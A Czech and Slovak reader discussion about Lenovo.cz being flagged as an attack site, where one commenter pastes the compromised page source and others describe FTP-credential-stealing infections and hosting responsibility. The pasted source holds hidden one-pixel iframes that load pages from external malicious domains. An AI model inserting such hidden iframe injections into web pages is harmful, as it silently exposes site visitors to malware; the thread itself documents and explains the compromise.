Názory k článku
Web Lenovo.cz označen za útočnou stránku
-
Slávek (neregistrovaný)Řekl bych, že Firefox ví, co říká.
Na stránce je totiž následující:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Lenovo Česká republika</title>
<meta http-equiv="REFRESH" content="0;url=http://www.lenovo.com/cz/"></HEAD>
<BODY><iframe src="http://betworldwager.cn/in.cgi?income69" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://betworldwager.cn/in.cgi?income68" width=1 height=1 style="visibility: hidden"></iframe>
</BODY>
</HTML><iframe src="http://peskostruikaz.com/?click=192438D" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://nyoflak.com/?click=3C5DCB" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> -
Podle vseho jde o virus, ten ziskava pristupove udaje z Total Commanderu webmastera a nasledne pres ne nahrava nove / modifikovane soubory.
Setkal sem se zatim s tremi variantami:
* frame - viz lenovo.cz
* .htaccess - ten presmerovava pristupy napr. z google.com
* js vir nacpanej primo do html kodu stranky -
LENIN POWER! (neregistrovaný)Antivirak mi dal varovani na nejaky obfustrated JS virus kdyz jsem vlezl na stranku. Dal jsem ignore a antivirak mne tam pustil na tu stranku lenovo.cz ktera byla redirect na lenovo.com.
Hned za chvili zarval na viry Trojan horse Agent_r.MU a Trojan horse SHEAUR2.ABMK tyhlety dva exace nasel v c:\windows\temp asi je tam ten JS stahnul. -
Sten (neregistrovaný)To záleží na způsobu, jakým se tam ten kód dostane. Pokud je to bezpečnostní dírou (včetně povolení nešifrovaného FTP a následného odposlouchávání), pak je zodpovědnost na bedrech správce serveru. Pokud je to blbostí webmastera (např. tím, že má v počítači trojského koně nebo někam hesla poslal nešifrovaná), pak je to jeho zodpovědnost.
-
treebeard (neregistrovaný)neriešim, kto je zodpovednejší, ale tak ako antivír v počítači slúži na to, aby stlmil aj blbosť užívateľa, myslím že aj na serveri by mali bežať určité programy (antivíry) na ochranu aj pred škodlivým kódom, ktorý sa tam dostáva legálnou cestou. Situácia, že si na nejakom platenom hostingu za pár stovák môžem stvoriť čkokoľvek, sa minezdá. samozrejme, ak stvorím zbrusu nový škodlivý kód, som vinný iba ja. Ale ak tam umiestnim dávno známe kódy, správca servera by mi v tom mal zabrániť. Je to asi významnejšie ako cenzurovať diskusné príspevky.
-
Co byste jeste od webhostingu nechtel aby pro vas delali. Dneska se webhosting uz dela prakticky za naklady. Hostujeme asi 2,500 dedicated masin a nehodi to ani podelany mego dolaru obratu mesicne. Srani je s tim znacne, porad chodi stiznosti a nekolikrat do mesice musite naklusavat k soudu.
V tomhle oboru stejne o nic nejde, z tech masin si nekoupilo backup ani 10% lidi. Kdyz jim tam chcipne disk tam pak prijdou o data, naserou se a jdou jinam. Pritom kdyz se divam co jim tam bezi tak jim to vydelava radove i tisice usd mesicne, ale holt backup je zbytecny luxus.
